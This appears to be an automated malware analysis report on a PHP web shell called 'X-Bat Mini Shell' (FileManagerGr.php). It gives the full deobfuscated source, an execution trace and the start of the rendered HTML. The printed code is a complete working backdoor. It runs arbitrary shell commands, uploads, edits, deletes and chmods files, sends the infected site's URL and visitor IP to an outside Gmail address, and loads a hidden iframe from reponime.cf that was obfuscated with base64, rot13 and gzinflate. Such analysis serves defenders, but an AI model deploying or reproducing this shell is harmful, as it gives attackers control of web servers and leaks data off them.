PHP Malware Analysis

FileManagerGr.php

md5: 1025ba6140fbb552bc86ddc71647136b

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

echo "<!DOCTYPE HTML>\n<html>\n<head>\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\n<title>X-Bat</title>\n<style>\nbody{\n\tfont-family: \"Racing Sans One\", cursive;\n\tbackground-color: black;\n\tcolor:White;\n\tbackground-attachment:fixed;\n\tbackground-repeat:no-repeat;\n\tbackground-position:center;\n\tbackground-color:transparan;\n\t-webkit-background-size: 90% 100%;\n}\n#content tr:hover{\nbackground-color: Purple;\ntext-shadow:0px 0px 10px #fff;\n}\n#content .first{\nbackground-color: Purple;\n}\ntable{\nborder: 1px #000000 dotted;\n}\na{\ncolor:white;\ntext-decoration: none;\n}\na:hover{\ncolor:Purple;\ntext-shadow:0px 0px 10px #ffffff;\n}\ninput,select,textarea{\nborder: 1px #000000 solid;\n-moz-border-radius: 5px;\n-webkit-border-radius:5px;\nborder-radius:5px;\n}\n</style>\n</head>\n<body>\n<h1><center><font color=\"Red\">Mini Shell</font></center></h1>\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td>";
echo "Disable Functions: {$liatds}";
echo "<br><font color=\"purple\">Path :</font> ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"white\">upload Sukses</font><br />";
    } else {
        echo "<font color=\"purple\">upload Gagal</font><br/>";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\n<font color=\"purple\">File Upload :</font> <input type=\"file\" name=\"file\" />\n<input type=\"submit\" value=\"upload\" />\n</form>";
echo "<form method='post'>\n<font color='purple'>Command :</font>\n<input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>\n</form>\n</td></tr>";
if ($_POST['execmd']) {
    echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>" . exe($_POST['cmd']) . "</textarea></center>";
}
echo "<br></td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"white\">Change Permission Berhasil</font><br/>";
            } else {
                echo "<font color=\"purple\">Change Permission Gagal</font><br />";
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"white\">Ganti Nama Berhasil</font><br/>";
            } else {
                echo "<font color=\"purple\">Ganti Nama Gagal</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"white\">Berhasil Edit File</font><br/>";
            } else {
                echo "<font color=\"purple\">Gagal Edit File</font><br/>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br/><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"white\">Directory Terhapus</font><br/>";
            } else {
                echo "<font color=\"purple\">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"white\">File Terhapus</font><br/>";
            } else {
                echo "<font color=\"purple\">File Gagal Dihapus</font><br/>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr class=\"first\">\n<td><center>Name</peller></center></td>\n<td><center>Size</peller></center></td>\n<td><center>Permission</peller></center></td>\n<td><center>Modify</peller></center></td>\n</tr>";
    foreach ($scandir as $dir) {
        if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
            continue;
        }
        echo '<tr>
<td><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
<td><center>--</center></td>
<td><center>';
        if (is_writable($path . '/' . $dir)) {
            echo "<font color=\"Purple\">";
        } elseif (!is_readable($path . '/' . $dir)) {
            echo "<font color=\"purple\">";
        }
        echo perms($path . '/' . $dir);
        if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . $dir . '">
<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file($path . '/' . $file)) {
            continue;
        }
        $size = filesize($path . '/' . $file) / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo '<tr>
<td><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
<td><center>' . $size . '</center></td>
<td><center>';
        if (is_writable($path . '/' . $file)) {
            echo "<font color=\"Green\">";
        } elseif (!is_readable($path . '/' . $file)) {
            echo "<font color=\"Green\">";
        }
        echo perms($path . '/' . $file);
        if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . $file . '">
<input type="hidden" name="path" value="' . $path . '/' . $file . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "</table>\n</div>";
}
echo "<center><br/><font color=\"Purple\">X-Bat Mini Shell</font><br>";
echo "[ <a href='?path={$path}&go=cabs'>LogOut</a> ]\n</center>\n</body>\n</html>";
$command = "JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8=";
eval /* PHPDeobfuscator eval output */ {
    $loggs = '<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>';
    print "<iframe style=\"display:none;\" src=\"http://reponime.cf/log.php\"></iframe>";
};
if ($_GET['go'] == 'cabs') {
    echo "<form action=\"\" method=\"post\">";
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo "<meta http-equiv=\"refresh\" content=\"3\" />";
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
//////all functions disini tempatnya/////
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = 'galangganz76@gmail.com';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "fix {$x_path} :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");

Execution traces

data/traces/1025ba6140fbb552bc86ddc71647136b_trace-1676259555.0358.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:39:40.933608]
1	0	1	0.000211	393576
1	3	0	0.000566	457624	{main}	1		/var/www/html/uploads/FileManagerGr.php	0	0
2	4	0	0.000608	457624	getcwd	0		/var/www/html/uploads/FileManagerGr.php	53	0
2	4	1	0.000624	457672
2	4	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/FileManagerGr.php	53	$path = '/var/www/html/uploads'
2	5	0	0.000655	457672	str_replace	0		/var/www/html/uploads/FileManagerGr.php	55	3	'\\'	'/'	'/var/www/html/uploads'
2	5	1	0.000671	457768
2	5	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/FileManagerGr.php	55	$path = '/var/www/html/uploads'
2	6	0	0.000696	457672	explode	0		/var/www/html/uploads/FileManagerGr.php	56	2	'/'	'/var/www/html/uploads'
2	6	1	0.000710	458248
2	6	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/FileManagerGr.php	56	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/FileManagerGr.php	58	$id = 0
1		A						/var/www/html/uploads/FileManagerGr.php	60	$a = TRUE
1		A						/var/www/html/uploads/FileManagerGr.php	58	$id = 1
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i = 0
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	58	$id = 2
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i = 0
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	58	$id = 3
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i = 0
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	58	$id = 4
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i = 0
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
1		A						/var/www/html/uploads/FileManagerGr.php	66	$i++
2	7	0	0.000961	458176	scandir	0		/var/www/html/uploads/FileManagerGr.php	165	1	'/var/www/html/uploads'
2	7	1	0.000994	458808
2	7	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'FileManagerGr.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/FileManagerGr.php	165	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'FileManagerGr.php', 4 => 'data', 5 => 'prepend.php']
2	8	0	0.001033	458824	is_dir	0		/var/www/html/uploads/FileManagerGr.php	175	1	'/var/www/html/uploads/.'
2	8	1	0.001060	458888
2	8	R			TRUE
2	9	0	0.001075	458856	is_dir	0		/var/www/html/uploads/FileManagerGr.php	175	1	'/var/www/html/uploads/..'
2	9	1	0.001089	458904
2	9	R			TRUE
2	10	0	0.001103	458864	is_dir	0		/var/www/html/uploads/FileManagerGr.php	175	1	'/var/www/html/uploads/.htaccess'
2	10	1	0.001118	458904
2	10	R			FALSE
2	11	0	0.001131	458872	is_dir	0		/var/www/html/uploads/FileManagerGr.php	175	1	'/var/www/html/uploads/FileManagerGr.php'
2	11	1	0.001145	458920
2	11	R			FALSE
2	12	0	0.001158	458872	is_dir	0		/var/www/html/uploads/FileManagerGr.php	175	1	'/var/www/html/uploads/data'
2	12	1	0.001172	458904
2	12	R			TRUE
2	13	0	0.001186	458864	is_writable	0		/var/www/html/uploads/FileManagerGr.php	180	1	'/var/www/html/uploads/data'
2	13	1	0.001206	458904
2	13	R			TRUE
2	14	0	0.001220	458864	perms	1		/var/www/html/uploads/FileManagerGr.php	182	1	'/var/www/html/uploads/data'
3	15	0	0.001234	458864	fileperms	0		/var/www/html/uploads/FileManagerGr.php	255	1	'/var/www/html/uploads/data'
3	15	1	0.001248	458904
3	15	R			16895
2		A						/var/www/html/uploads/FileManagerGr.php	255	$perms = 16895
2		A						/var/www/html/uploads/FileManagerGr.php	271	$info = 'd'
2		A						/var/www/html/uploads/FileManagerGr.php	284	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	285	$info .= 'w'
2		A						/var/www/html/uploads/FileManagerGr.php	288	$info .= 'x'
2		A						/var/www/html/uploads/FileManagerGr.php	291	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	292	$info .= 'w'
2		A						/var/www/html/uploads/FileManagerGr.php	295	$info .= 'x'
2		A						/var/www/html/uploads/FileManagerGr.php	298	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	299	$info .= 'w'
2		A						/var/www/html/uploads/FileManagerGr.php	302	$info .= 'x'
2	14	1	0.001377	458904
2	14	R			'drwxrwxrwx'
2	16	0	0.001392	458864	is_writable	0		/var/www/html/uploads/FileManagerGr.php	183	1	'/var/www/html/uploads/data'
2	16	1	0.001408	458904
2	16	R			TRUE
2	17	0	0.001422	458872	is_dir	0		/var/www/html/uploads/FileManagerGr.php	175	1	'/var/www/html/uploads/prepend.php'
2	17	1	0.001438	458920
2	17	R			FALSE
2	18	0	0.001452	458864	is_file	0		/var/www/html/uploads/FileManagerGr.php	202	1	'/var/www/html/uploads/.'
2	18	1	0.001466	458888
2	18	R			FALSE
2	19	0	0.001479	458856	is_file	0		/var/www/html/uploads/FileManagerGr.php	202	1	'/var/www/html/uploads/..'
2	19	1	0.001493	458904
2	19	R			FALSE
2	20	0	0.001505	458864	is_file	0		/var/www/html/uploads/FileManagerGr.php	202	1	'/var/www/html/uploads/.htaccess'
2	20	1	0.001520	458904
2	20	R			TRUE
2	21	0	0.001533	458864	filesize	0		/var/www/html/uploads/FileManagerGr.php	203	1	'/var/www/html/uploads/.htaccess'
2	21	1	0.001546	458904
2	21	R			64
1		A						/var/www/html/uploads/FileManagerGr.php	203	$size = 0.0625
2	22	0	0.001570	458808	round	0		/var/www/html/uploads/FileManagerGr.php	204	2	0.0625	3
2	22	1	0.001584	458880
2	22	R			0.063
1		A						/var/www/html/uploads/FileManagerGr.php	204	$size = 0.063
1		A						/var/www/html/uploads/FileManagerGr.php	208	$size = '0.063 KB'
2	23	0	0.001620	458904	is_writable	0		/var/www/html/uploads/FileManagerGr.php	215	1	'/var/www/html/uploads/.htaccess'
2	23	1	0.001637	458944
2	23	R			FALSE
2	24	0	0.001649	458904	is_readable	0		/var/www/html/uploads/FileManagerGr.php	216	1	'/var/www/html/uploads/.htaccess'
2	24	1	0.001665	458944
2	24	R			TRUE
2	25	0	0.001677	458904	perms	1		/var/www/html/uploads/FileManagerGr.php	217	1	'/var/www/html/uploads/.htaccess'
3	26	0	0.001690	458904	fileperms	0		/var/www/html/uploads/FileManagerGr.php	255	1	'/var/www/html/uploads/.htaccess'
3	26	1	0.001703	458944
3	26	R			33188
2		A						/var/www/html/uploads/FileManagerGr.php	255	$perms = 33188
2		A						/var/www/html/uploads/FileManagerGr.php	265	$info = '-'
2		A						/var/www/html/uploads/FileManagerGr.php	284	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	285	$info .= 'w'
2		A						/var/www/html/uploads/FileManagerGr.php	288	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	291	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	292	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	295	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	298	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	299	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	302	$info .= '-'
2	25	1	0.001823	458944
2	25	R			'-rw-r--r--'
2	27	0	0.001837	458904	is_writable	0		/var/www/html/uploads/FileManagerGr.php	218	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001853	458944
2	27	R			FALSE
2	28	0	0.001866	458904	is_readable	0		/var/www/html/uploads/FileManagerGr.php	218	1	'/var/www/html/uploads/.htaccess'
2	28	1	0.001881	458944
2	28	R			TRUE
2	29	0	0.001894	458912	is_file	0		/var/www/html/uploads/FileManagerGr.php	202	1	'/var/www/html/uploads/FileManagerGr.php'
2	29	1	0.001908	458960
2	29	R			TRUE
2	30	0	0.001921	458920	filesize	0		/var/www/html/uploads/FileManagerGr.php	203	1	'/var/www/html/uploads/FileManagerGr.php'
2	30	1	0.001933	458960
2	30	R			10234
1		A						/var/www/html/uploads/FileManagerGr.php	203	$size = 9.994140625
2	31	0	0.001957	458816	round	0		/var/www/html/uploads/FileManagerGr.php	204	2	9.994140625	3
2	31	1	0.001971	458888
2	31	R			9.994
1		A						/var/www/html/uploads/FileManagerGr.php	204	$size = 9.994
1		A						/var/www/html/uploads/FileManagerGr.php	208	$size = '9.994 KB'
2	32	0	0.002006	458920	is_writable	0		/var/www/html/uploads/FileManagerGr.php	215	1	'/var/www/html/uploads/FileManagerGr.php'
2	32	1	0.002028	458960
2	32	R			FALSE
2	33	0	0.002041	458920	is_readable	0		/var/www/html/uploads/FileManagerGr.php	216	1	'/var/www/html/uploads/FileManagerGr.php'
2	33	1	0.002056	458960
2	33	R			TRUE
2	34	0	0.002068	458920	perms	1		/var/www/html/uploads/FileManagerGr.php	217	1	'/var/www/html/uploads/FileManagerGr.php'
3	35	0	0.002081	458920	fileperms	0		/var/www/html/uploads/FileManagerGr.php	255	1	'/var/www/html/uploads/FileManagerGr.php'
3	35	1	0.002093	458960
3	35	R			33204
2		A						/var/www/html/uploads/FileManagerGr.php	255	$perms = 33204
2		A						/var/www/html/uploads/FileManagerGr.php	265	$info = '-'
2		A						/var/www/html/uploads/FileManagerGr.php	284	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	285	$info .= 'w'
2		A						/var/www/html/uploads/FileManagerGr.php	288	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	291	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	292	$info .= 'w'
2		A						/var/www/html/uploads/FileManagerGr.php	295	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	298	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	299	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	302	$info .= '-'
2	34	1	0.002213	458960
2	34	R			'-rw-rw-r--'
2	36	0	0.002227	458920	is_writable	0		/var/www/html/uploads/FileManagerGr.php	218	1	'/var/www/html/uploads/FileManagerGr.php'
2	36	1	0.002241	458960
2	36	R			FALSE
2	37	0	0.002254	458920	is_readable	0		/var/www/html/uploads/FileManagerGr.php	218	1	'/var/www/html/uploads/FileManagerGr.php'
2	37	1	0.002269	458960
2	37	R			TRUE
2	38	0	0.002286	458912	is_file	0		/var/www/html/uploads/FileManagerGr.php	202	1	'/var/www/html/uploads/data'
2	38	1	0.002302	458944
2	38	R			FALSE
2	39	0	0.002379	458912	is_file	0		/var/www/html/uploads/FileManagerGr.php	202	1	'/var/www/html/uploads/prepend.php'
2	39	1	0.002397	458960
2	39	R			TRUE
2	40	0	0.002410	458920	filesize	0		/var/www/html/uploads/FileManagerGr.php	203	1	'/var/www/html/uploads/prepend.php'
2	40	1	0.002423	458960
2	40	R			57
1		A						/var/www/html/uploads/FileManagerGr.php	203	$size = 0.0556640625
2	41	0	0.002447	458816	round	0		/var/www/html/uploads/FileManagerGr.php	204	2	0.0556640625	3
2	41	1	0.002461	458888
2	41	R			0.056
1		A						/var/www/html/uploads/FileManagerGr.php	204	$size = 0.056
1		A						/var/www/html/uploads/FileManagerGr.php	208	$size = '0.056 KB'
2	42	0	0.002502	459032	is_writable	0		/var/www/html/uploads/FileManagerGr.php	215	1	'/var/www/html/uploads/prepend.php'
2	42	1	0.002519	459072
2	42	R			FALSE
2	43	0	0.002532	459032	is_readable	0		/var/www/html/uploads/FileManagerGr.php	216	1	'/var/www/html/uploads/prepend.php'
2	43	1	0.002548	459072
2	43	R			TRUE
2	44	0	0.002560	459032	perms	1		/var/www/html/uploads/FileManagerGr.php	217	1	'/var/www/html/uploads/prepend.php'
3	45	0	0.002574	459032	fileperms	0		/var/www/html/uploads/FileManagerGr.php	255	1	'/var/www/html/uploads/prepend.php'
3	45	1	0.002587	459072
3	45	R			33261
2		A						/var/www/html/uploads/FileManagerGr.php	255	$perms = 33261
2		A						/var/www/html/uploads/FileManagerGr.php	265	$info = '-'
2		A						/var/www/html/uploads/FileManagerGr.php	284	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	285	$info .= 'w'
2		A						/var/www/html/uploads/FileManagerGr.php	288	$info .= 'x'
2		A						/var/www/html/uploads/FileManagerGr.php	291	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	292	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	295	$info .= 'x'
2		A						/var/www/html/uploads/FileManagerGr.php	298	$info .= 'r'
2		A						/var/www/html/uploads/FileManagerGr.php	299	$info .= '-'
2		A						/var/www/html/uploads/FileManagerGr.php	302	$info .= 'x'
2	44	1	0.002710	459072
2	44	R			'-rwxr-xr-x'
2	46	0	0.002724	459032	is_writable	0		/var/www/html/uploads/FileManagerGr.php	218	1	'/var/www/html/uploads/prepend.php'
2	46	1	0.002740	459072
2	46	R			FALSE
2	47	0	0.002754	459032	is_readable	0		/var/www/html/uploads/FileManagerGr.php	218	1	'/var/www/html/uploads/prepend.php'
2	47	1	0.002769	459072
2	47	R			TRUE
1		A						/var/www/html/uploads/FileManagerGr.php	244	$command = 'JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8='
2	48	0	0.002808	458968	base64_decode	0		/var/www/html/uploads/FileManagerGr.php	245	1	'JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8='
2	48	1	0.002830	459160
2	48	R			'%�N\n� \020\000�{�\037\026\t��=ӿ�m\t�-\027�R=`s��\0238л\\G\006P�Tt�AV�˱�\030�*UG�w9�s\f1� ��m����C���x;BU\0222,�z\037'
2	49	0	0.002857	459128	str_rot13	0		/var/www/html/uploads/FileManagerGr.php	245	1	'%�N\n� \020\000�{�\037\026\t��=ӿ�m\t�-\027�R=`s��\0238л\\G\006P�Tt�AV�˱�\030�*UG�w9�s\f1� ��m����C���x;BU\0222,�z\037'
2	49	1	0.002882	459288
2	49	R			'%�A\n� \020\000�{�\037\026\t��=ӿ�z\t�-\027�E=`f��\0238л\\T\006C�Gg�NI�˱�\030�*HT�j9�f\f1� ��z����P���k;OH\0222,�m\037'
2	50	0	0.002908	459096	gzinflate	0		/var/www/html/uploads/FileManagerGr.php	245	1	'%�A\n� \020\000�{�\037\026\t��=ӿ�z\t�-\027�E=`f��\0238л\\T\006C�Gg�NI�˱�\030�*HT�j9�f\f1� ��z����P���k;OH\0222,�m\037'
2	50	1	0.002939	459256
2	50	R			'$ybttf = \'<vsenzr fglyr="qvfcynl:abar;" fep="uggc://ercbavzr.ps/ybt.cuc"></vsenzr>\';\r\ncevag $ybttf;'
2	51	0	0.002958	459096	str_rot13	0		/var/www/html/uploads/FileManagerGr.php	245	1	'$ybttf = \'<vsenzr fglyr="qvfcynl:abar;" fep="uggc://ercbavzr.ps/ybt.cuc"></vsenzr>\';\r\ncevag $ybttf;'
2	51	1	0.002976	459256
2	51	R			'$loggs = \'<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>\';\r\nprint $loggs;'
2	52	0	0.003005	459776	eval	1	'$loggs = \'<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>\';\r\nprint $loggs;'	/var/www/html/uploads/FileManagerGr.php	245	0
2		A						/var/www/html/uploads/FileManagerGr.php(245) : eval()'d code	1	$loggs = '<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>'
2	52	1	0.003039	459776
2	53	0	0.003056	459336	ini_set	0		/var/www/html/uploads/FileManagerGr.php	333	2	'output_buffering'	0
2	53	1	0.003073	459408
2	53	R			FALSE
2	54	0	0.003087	459336	ini_set	0		/var/www/html/uploads/FileManagerGr.php	333	2	'display_errors'	0
2	54	1	0.003102	459408
2	54	R			''
2	55	0	0.003114	459336	set_time_limit	0		/var/www/html/uploads/FileManagerGr.php	333	1	0
2	55	1	0.003129	459400
2	55	R			FALSE
2	56	0	0.003142	459368	ini_set	0		/var/www/html/uploads/FileManagerGr.php	333	2	'memory_limit'	'64M'
2	56	1	0.003156	459472
2	56	R			'128M'
2	57	0	0.003169	459368	header	0		/var/www/html/uploads/FileManagerGr.php	333	1	'Content-Type: text/html; charset=UTF-8'
2	57	1	0.003191	459400
2	57	R			NULL
1		A						/var/www/html/uploads/FileManagerGr.php	333	$tujuanmail = 'galangganz76@gmail.com'
1		A						/var/www/html/uploads/FileManagerGr.php	333	$x_path = 'http://localhost/uploads/FileManagerGr.php'
1		A						/var/www/html/uploads/FileManagerGr.php	333	$pesan_alert = 'fix http://localhost/uploads/FileManagerGr.php :p *IP Address : [ 127.0.0.1 ]'
2	58	0	0.003244	459600	mail	0		/var/www/html/uploads/FileManagerGr.php	333	4	'galangganz76@gmail.com'	'LOGGER'	'fix http://localhost/uploads/FileManagerGr.php :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
2	58	1	0.004218	459744
2	58	R			FALSE
1	3	1	0.004244	459560
			0.004282	332576
TRACE END   [2023-02-13 01:39:40.937719]


Generated HTML code

<html><head>
<link href="" rel="stylesheet" type="text/css">
<title>X-Bat</title>
<style>
body{
	font-family: "Racing Sans One", cursive;
	background-color: black;
	color:White;
	background-attachment:fixed;
	background-repeat:no-repeat;
	background-position:center;
	background-color:transparan;
	-webkit-background-size: 90% 100%;
}
#content tr:hover{
background-color: Purple;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: Purple;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:Purple;
